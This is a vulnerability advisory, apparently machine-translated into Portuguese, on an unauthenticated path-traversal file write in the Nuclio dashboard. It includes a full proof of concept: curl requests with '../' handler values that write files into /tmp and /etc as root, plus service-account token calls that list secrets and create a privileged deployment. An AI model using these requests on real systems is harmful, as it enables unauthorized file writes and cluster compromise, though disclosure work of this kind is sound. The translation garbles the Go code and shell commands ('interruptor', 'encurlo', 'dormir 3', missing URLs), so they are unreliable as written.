O painel Nuclio expõe ` POST / api/funções ́ sem autenticação por padrão (modo de autografia NOP). O campo `spec.handler` (por exemplo, `mymodule:myfunction`) é analisado por `functionconfig.ParseHandler()` que se divide em `:` apenas — nenhuma validação do caminho é aplicada à porção do módulo. Durante a compilação da função, `writeFunctionSourceCodeToTempFile()` passa o nome do módulo diretamente para `path.Join(tempDir, moduleFileName)`. O `path.Join` de Go chama internamente `path.Clean`, que resolve sequências `../` e permite que o caminho resolvido escape `tempDir`. A função então chama `os.WriteFile` no caminho controlado pelo atacante com conteúdo controlado pelo atacante (base 64 - decodificado `spec.build.functionSourceCode`. A gravação executa-se no processo do container do painel de dados executando como ` uid= 0 (root)`, permitindo gravar para qualquer local do sistema de arquivos que o processo possa acessar: `/tmp`, `/etc`, `/usr/local/bin`, `/etc/cron.d` e mais. - **CVSS 3.1 **: `CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` — ** 7.5 (Alta)** - **CWE**: CWE- 22 (Limite mais adequada de um nome de caminho para um diretório restrito) - ** versões afetadas**: Nuclio <= 1.15.27 (mais tarde no momento da pesquisa, verificada dinâmicamente) A vulnerabilidade abrange três funções. O caminho de entrada do usuário para gravação do disco é: ** 1. `ParseHandler` — nenhuma validação de caminho** (`pkg/functionconfig/handler.go: 25 - 38 `): ```go // pkg/functionconfig/ handler.go: 25 - 38 func ParseHandler(handler string) (string, string, error) { móduloAndEntrypoint:= strings.Split(handler, ":") interruptor len(moduleAndEntrypoint) { caso 1: retorna "", móduloAndEntrypoint[ 0 ], caso nulo 2: // Devolve móduloFileName textual — nenhum módulo de retorno de desinfectação de caminhoAndEntrypoint[ 0 ], móduloAndEntrypoint[ 1 ], por padrão: retorna "", "", erros.Error("Nome do manipulador inválido%s", manipulador) } } ````.
Intro `../../../../ tmp/ vul 007 _proof.txt:handler"` retorna `moduleFileName = "../../../././tmp/vul 007 _proof.txt"`. ** 2. `writeFunctionSourceCodeToTempFile` — construção de caminho inseguro** (`pkg/processador/construir/construir.go: 613 - 661 `): ```go // builder.go: 624 - 657 (abreviado) tempDir, err:= b.mkDirUnderTemp("fonte") // tempDir = /tmp/nuclio-build- /fonte runtimeExtension, err:= b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime). MóduloFileName, ponto de entrada, err:= functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler) // moduleFileName = "../../../../../tmp/vul 007 _proof.txt" — controlado pelo atacante if!strings.Contém(moduleFileName, "..") { moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension) } // Se moduleFileName já contém ".", nenhuma extensão é anexada /./../../..// tmp/vul 007 _proof.txt" contém "." -> permanece como- é fonteFilePath:= caminho.Junte- se(tempDir, móduloFileName) // caminho.Junte- se("/ tmp/nuclio-build- 227825660 / fonte", "../../../../ tmp/vul 007 _proof.txt") // = "/ tmp/vul 007 _proof.txt" <-- escapou do tempDir b.logger.DebugWith("Escrever código fonte da função para arquivo temporário", "functionPath", sourceFilePath) se errar:= os.WriteFile(sourceFilePath, decodificadoFunctionSourceCode, os.FileMode( 0644 )); err!= nulo { // Escrever bytes controlados pelo atacante para o caminho controlado pelo atacante ```.
** 3. `cleanupTempDir` não remove o arquivo transversal** (`builder.go: 1047 - 1061 `): ```go // builder.go: 1053 err:= os.RemoveAll(b.tempDir) // Apenas remove /tmp/nuclio-build- / — o arquivo transversal fora desta árvore persiste ``` ### Cálculo de trajetória. ``` tempDir = / tmp/ nuclio- build- 227825660 / fonte (profundidade a partir de /: 3 componentes) hander = "../../../../tmp/vul 007 Módulo _proof.txt:handler" = "../../../../tmp/vul 007 _proof.txt" caminho. Join("/ tmp/ nuclio-build- 227825660 / fonte", "../../../../ tmp/vul 007 _proof.txt") = caminho.Limpo("/tmp/nuclio-build- 227825660 /source/../../../../ tmp/vul 007 _proof.txt") Traversal: / tmp/ nuclio- build- 227825660 / fonte (inicializar)../ -> /tmp/ nuclio- build- 227825660../ -> / tmp../ -> / (raiz do sistema de arquivos)../ -> / (não pode ir acima da raiz) tmp/vul 007 _proof.txt -> /tmp/vul 007 _proof.txt ``` A mesma técnica com 4 x `../` atinge qualquer caminho abaixo de `/ tmp`, `/etc`, `/usr`, etc. ### Cadeia de ataque completa. ``` Cliente HTTP não autentificado -> POST /api/funções (sem aut, modo NOP) dashboard/resource/function.go: 156 storeAndDeployFunction() -> platform.CreeFunction() platform/ kube/platform.go: 193 -> resumo/plataform.go: 191 HandleDeployFunction() -> resumo/platform.go: 119 CreateFunctionBuild() -> builder.Build() processador/builder/builder.go: 195 -> builder.resolveFunctionPath() builder.go: 664 -> builder.writeFunctionSourceCodeToTempFile() os.WriteFile(atacker_path, atacante_content, 0644 ) builter. go: 657 ```.
PoC — Passos para a reprodução. Configuração do ambiente Os seguintes passos configuram um cluster tipo isolado e implementam o Nuclio 1.15.27. Todos os comandos foram executados em um host do Ubuntu com o Docker 29.1.2. **Passo 1: Criar um cluster de tipos isolados com o soquete docker montado** O fabricante de containers da tabela de dados requer acesso ao demoníaco Docker. Crie uma configuração tipo cluster que monta o socket do Docker do host no nó cluster: ```` bash cat > / tmp/kind-vul 007 - config. yaml << tipo 'EOF': ApiVersão do cluster: kind.x-k 8 s.io/v 1 alfa 4 nós: - papel: controle- plano extraMontes: - hostPath: /var/ run/ docker.sock containerPath: /var/ run/ docker.sock EOF tipo criar cluster -- name vul- 007 -- config / tmp/ kind- vul 007 -config. yaml ``` Saída esperada: ``` Criando o cluster "vul- 007 "... ✓ Garantindo a imagem do nó (kindest/node:v) 1.27.3 ) ✓ Preparando nós ✓ Configuração de gravação ✓ Iniciando o plano de controle ✓ Instalando o CNI ✓ Instalando o StorageClass Configurar o contexto kubectl para "kind-vul- 007 " ```.
Verificar que o socket Docker está disponível dentro do nó do cluster: ``` bash docker exec vul- 007 -control-plano ls -la /var/ run/docker.sock # srw-rw--- 1 raiz 988 0 Maio 17 13: 31 /var/ run/ docker.sock ``` **Passo 2: Implementar Nuclio via Helm**. ```` bash # Criar espaço de nomes kubectl -- context kind- vul- 007 criar nuclio de espaço de nomes # Carregar imagens do recipiente (se pré-pulsadas) tipo carregar imagens docker quay.io/nuclio/dashboard: 1.15.27 - amd 64 -- nome vul- 007 docker- image docker dok.io/ nuclio/ controller: 1.15.27 - amd 64 -- nome vul- 007 # Instalar com o Helm (chart a partir do fonte: hack/k 8 s/helm/nuclio) instalar nuclio./hack/k 8 s/helm/ nuclio \ --namespace nuclio \ --kube- context kind- vul- 007 \ --set controller.image.pullPolicy=Nunca \ --set drishboard.image.pullPolicy=Nunca \ --set registry.pushPullUrl="localhost: 5000 " \ -- set dashboard.containerBuilderKind= docker `` **Passo 3: Aguarde pela tabela de dados para estar pronta**. ```` bash kubectl -- context kind-vul- 007 wait -n nuclio \ --for=condition=ready pod -l nuclio.io/app=dashboard --timeout= 90 s # Esperado: # pod/nuclio-dashboard-b 4 c 5 bb 96 Condição f- txjkt cumprida ``` **Passo 4: Expor o painel localmente**. ```` bash kubectl -- context kind-vul- 007 port-forward -n nuclio svc/nuclio-dashboard 8073: 8070 & dormir 3.
# Verificar a tabela de dados é acessível -s -o /dev/null -w "HTTP%{http_code}\n" 8073 /api/funções # HTTP 200 ``` **Passo 5: Criar projeto padrão (necessário pela API do painel de dados)**. ````bash curl -s -X POST 8073 /api/projects \ -H "Tipo de conteúdo: aplicativo/json" \ -d '{"metadata": {"nome":"default","space":"nuclio"},"spec":{"descrição":"default"}}" ```` **Passo 6: Enviar pedido de percurso transversal**. O campo `handler` `../../../../ tmp/vul 007 _proof.txt:handler` instrui o pipeline de construção para escrever conteúdo `functionSourceCode` para `/tmp/vul 007 _proof.txt` dentro do recipiente do painel de dados. ````bash curl -v -X POST 8073 /api/funções \ -H "Tipo de conteúdo: aplicativo/json" \ -H "x-nuclio-project- name: ofault" \ -d '{ "metadata": {"name": "vul 007 -poc, "space": "nuclio"}, "spec": { "tempo de execução": "python: 3.11 ", "handler": "../../../../tmp/vul 007 _proof.txt:handler", "build": { "functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU 0 FMLVZVTDAwNw=="}, "minReplicas": 0, "maxReplicas": 1 } }' ``` Base `funçãoSourceCode` 64 decodificado: `PROVED- PAT- TRAVERSAL- VUL 007 `. Resposta esperada: ``` HTTP/ 1.1 202 Aceito ``` **Passo 7: Observe os registros de compilação da tabela de dados**. ```` bash kubectl -- context kind-vul- 007 logs -n nuclio implementar/nuclio-dashboard --tail= 20 \ Ì grep - E "dirña temporal da função de escrita" ``` Saída real do log (capturada durante a verificação, timestamp 2026 - 05 - 17 14: 55: 02 CST): ``` 26.05.17 14: 55: 02.225 (D) dashboard. server.api/funções Criado dir temporário {"dir": "/ tmp/ nuclio-build- 227825660 / fonte"}.
26.05.17 14: 55: 02.225 (D) dashboard.server.api/funções Escrevendo código fonte de função para arquivo temporário {"functionPath": "/ tmp/vul 007 _proof.txt"} ``` O log confirma a "Path do Functionalidade" resolvida para `/ tmp/vul 007 _proof.txt`, que é ** fora** o tempDir `/ tmp/ nuclio-build- 227825660 / fonte`. O percurso é confirmado. **Passo 8: Verifique o arquivo escrito para o caminho de travessia**. ```` bash kubectl -- context kind-vul- 007 exec - n nuclio implementa/ nuclio- dashboard \ -- cat / tmp/vul 007 _proof.txt ``` Saída: ``` PROVED- PATH-TRAVERSAL- VUL 007 ```. ```` bash kubectl -- context kind-vul- 007 exec - n nuclio implementa/ nuclio- dashboard \ -- ls -la /tmp/vul 007 _proof.txt ``` Saída: ``` -rw-r--r-- 1 raiz 28 Maio 17 14: 55 / tmp/ vul 007 _proof.txt ``` **Passo 9: Escreva para /etc/ — demonstração de impacto mais ampla**. ````bash curl -s -X POST 8073 /api/funções \ -H "Tipo de conteúdo: aplicativo/json" \ -H "x-nuclio-project- name: ofault" \ -d '{ "metadata": {"name": "vul 007 - poc 2 ", "space": "nuclio"}, "spec": { "tempo de execução": "python: 3.11 ", "handler": "../../../../etc/vul 007 -marker.txt:handler", "build": { "functionSourceCode": "VlVMMDA 3 LVBFUNJU 1 RFTlQtTUFSS 0 VSLXJvb 3 Q=" } } } ' `` Evidência de registro: ``` 26.05.17 14: 55: 50.666 (D) dashboard.server.api/funções Escrevendo código fonte de função para arquivo temporário {"functionPath": "/etc/vul 007 -marker.txt"} ```.
```` bash kubectl -- context kind-vul- 007 exec - n nuclio implementa/ nuclio- dashboard \ -- cat /etc/vul 007 -marker.txt # VUL 007 -Persistente-Marker- root ``` ```` bash kubectl -- context kind-vul- 007 excluir nucliofunção vul 007 - vul de poc 007 - poc 2 - n nuclio 2 >/dev/null.. verdadeiro tipo excluir cluster -- name vul- 007 ``` Um atacante não autenticado com acesso à rede para a porta do Painel de Dados Nuclio pode escrever conteúdo arbitrário para qualquer caminho acessível pelo processo do Painel de Dados (correndo como raiz) dentro do recipiente do Painel de Dados. Alvos de gravação demonstrados: - `/ tmp/` — confirmado (PoC primário) - `/ etc/` — confirmado (PoC secundário) Alvos de gravação de alto impacto potenciais: - `/etc/ cron.d/` — escreva um trabalho de cron; se um deemon cron correr no contêiner, isso atinge execução arbitrária agendada dentro do contêiner - `/usr/ local/bin/ ` — sobrescrever um binário chamado pelos processos do painel de dados - Qualquer caminho de arquivo acessível por raiz dentro do sistema de arquivos do contêiner ### Escalação Privilégio. O recipiente da tabela de dados é executado como ` uid= 0 (root) '. Sua conta de serviço Kubernetes montada (`nuclio- dashboard`) contém as seguintes permissões RBAC no espaço de nomes `nuclio`: ``` Recursos Verbs segredos [*] implementações.apps [*] pods [*] configmaps [*] serviços [*] cronjobs.batch [*] ```.
Verificação: Usando o token África do Sul diretamente contra a API do Kubernetes: ````bash # Lista de segredos - HTTP 200 encurlo - k - H "Autorização: Portador $SA_TOKEN" \ "$K 8 S_API/api/v 1 /namespaces/nuclio/secrets" # => devolve o segredo da liberação do timão, o segredo do nuclio África do Sul # Criar implantação privilegiada — HTTP 201 curl -k -X POST -H "Autorização: Portador $SA_TOKEN" \ -H "Tipo de conteúdo: aplicativo/json" \ "$K 8 S_API/apis/apps/v 1 /namespaces/ nuclio/ deployments" \ -d '{"spec":{"template":{"spec":{"contenedores":[{"nome":"t","image":"oxybox","securityContext":{"privileged":true}}}}}}}' # HTTP_ CODE: 201 ``` Um atacante que compromete o container do painel de dados (via esta vulnerabilidade de gravação de arquivo) ganha acesso a este token África do Sul e pode criar cargas de trabalho privilegiadas no espaço de nomes `nuclio`, potencialmente aumentando para acesso ao nível de cluster dependendo da configuração do cluster. A gravação de arquivos está limitada ao sistema de arquivos da Painel **container**. Escreve- se o nível do hospedeiro requer pré- preconceitos adicionais (volumes do hospedeiro, modo de contentor privilegiado ou configuração DinD) que não estão presentes em uma implantação padrão do Nuclio Kubernetes. **CVSS 3.1 Pontuação: 7.5 (Alto)**. ``` CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N ``` Dimensions Valor.----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------. - ** Nuclio <= 1.15.27 ** (último lançamento no momento da pesquisa) - Verificado dinamicamente contra `quay.io/ nuclio/ dashboard: 1.15.27 - amd 64 ' on 2026 - 05 - 17.
O caminho de código vulnerável (`writeFunctionSourceCodeToTempFile` em `pkg/processador/build/builder.go`) esteve presente desde que o recurso de código inline `functionSourceCode` foi introduzido. releases/tag/ 1.16.5. ** Opção 1: Habilitar a autenticação no painel de dados** Defina `NUCLIO_AUTH_ KIND` para um valor não- NOP (por exemplo, ` iguazio`) para exigir credenciais. Isto impede o acesso não autenticado à API. Consulte a documentação Nuclio para provedores de autologia suportados. ````yaml # Na implantação do painel de Dash env - nome: NUCLIO_AUTH_KIND valor: "iguazio" ``` ** Opção 2: Controle de acesso ao nível da rede**. Restringi o acesso da rede à porta do painel de dados (por omissão) 8070 ) para redes confiáveis apenas. Não exponha o painel diretamente para a internet. ** Opção 3: Solte os privilégios de raiz no recipiente da tabela de dados** Execute o processo do painel de dados como um usuário não-root para reduzir o impacto do nível do recipiente.